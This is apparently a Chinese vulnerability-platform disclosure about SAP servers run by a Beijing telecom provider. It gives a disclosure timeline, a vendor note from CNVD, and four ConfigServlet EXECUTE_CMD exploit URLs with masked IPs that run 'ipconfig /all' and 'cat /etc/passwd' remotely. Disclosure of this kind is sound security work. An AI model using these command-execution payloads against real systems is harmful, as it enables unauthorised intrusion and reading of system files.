漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态：
2015-12-03： 细节已通知厂商并且等待厂商处理中
2015-12-08： 厂商已经确认，细节仅向厂商公开
2015-12-18： 细节向核心白帽子及相关领域专家公开
2015-12-28： 细节向普通白帽子公开
2016-01-07： 细节向实习白帽子公开
2016-01-21： 细节向公众公开
简要描述：
北京日升天信科技有限公司（Beijing Sun Rise Technology Co.Ltd.）组建于2000年，系中国大陆地区支持电信企业业务能力的专业电信服务商。公司始终以“客户为主，服务先行”为经营理念，为超过4000位客户提供了优质服务，公司业绩自2004年至今始终处于同行业领先。 北京日升天信科技有限公司（Beijing Sun Rise Technology Co.Ltd.）主营业务涵盖 IP主叫、 语音专线、 网络电话、电话会议、Internet宽带接入、IDC托管、虚拟VPN、综合布线、系统集成等。
详细说明：
以下均为exp
2台window服务器：测试执行ipconfig /all
2台linux服务器：测试执行cat /etc/passwd
Beijing Sun Rise Technology CO.LTD
**.**.**.**:8000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd.exe%20/c%20ipconfig%20/all
Beijing Sun Rise Technology CO.LTD
**.**.**.**:8000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cmd.exe%20/c%20ipconfig%20/all
Beijing Sun Rise Technology CO.LTD
**.**.**.**:8010/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cat%20/etc/passwd
Beijing Sun Rise Technology CO.LTD
**.**.**.**:8000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=cat%20/etc/passwd
漏洞证明：
修复方案：
升级一次SAP要多少钱？几百万？
版权声明：转载请注明来源 xyntax@乌云
>
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-12-08 11:01
厂商回复：
CNVD未直接复现所述漏洞情况，暂未建立与软件生产厂商的直接处置渠道，待认领。
最新状态：
暂无